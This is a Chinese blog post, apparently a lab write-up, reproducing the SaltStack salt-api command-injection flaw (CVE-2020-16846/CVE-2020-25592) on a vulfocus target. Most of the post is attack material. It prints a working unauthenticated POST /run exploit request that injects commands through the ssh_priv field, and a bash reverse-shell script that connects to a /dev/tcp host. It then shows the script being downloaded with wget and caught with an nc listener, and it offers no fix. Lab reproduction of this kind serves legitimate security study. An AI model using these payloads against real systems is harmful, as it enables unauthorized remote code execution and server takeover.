SaltStack 远程命令执行漏洞(CVE-2020-16846)

一、saltstack 远程命令执行 (CVE-2020-16846)

描述: SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。 CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。(本篇文章未记录漏洞整改方案)

二、环境说明

vulfocus靶场,开启靶场后访问映射8000的端口,出现下图表示靶场启动成功:(注意此处需要使用https协议访问

靶场启动成功

三、漏洞复现

       3.1 payload和shell脚本

payload:

POST /run HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 89

token=123123&client=ssh&tgt=*&fun=a&roster=flyoung&ssh_priv=aaa|payload

shell(cmd.sh):

!/bin/sh
bash -c 'exec bash -i &>/dev/tcp/IP/PORT <&1'

###另外开启了一台phpstudy的虚拟机B,在www文件夹下存放的shell.sh文件,此处IP和PORT为该虚拟机B的IP和监听端口

3.2 漏洞复现

        3.2.1 尝试访问网页

        访问/run(原报文为GET方式,建议直接复制POC修改Host,若使用修改请求方式改为POST的话会失败),payload中空格用%20代替,最后要以%3b结束,成功截图如下:

###回显可以使用wget或curl命令,ping命令执行不成功

###此处payload中访问的http://IP的地址也为虚拟机B中开启的phpstudy网站

        3.2.2 尝试下载shell.sh脚本

      利用wget下载cmd.sh脚本,如图所示下载成功

        3.2.3 开启监听

        虚拟机B使用nc进行监听,脚本中端口为4444,故监听端口为4444

        nc -lvvp 4444

        3.2.3 运行shell文件

        使用/bin/bash cmd.sh运行shell文件,返回监听的虚拟机,发现反弹成功。

      反弹监听截图,反弹成功:

四、参考链接

Document

https://paper.seebug.org/1398/

SaltStack命令注入漏洞(CVE-2020-16846)漏洞复现与分析 | Windylh's blog

  • 4
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值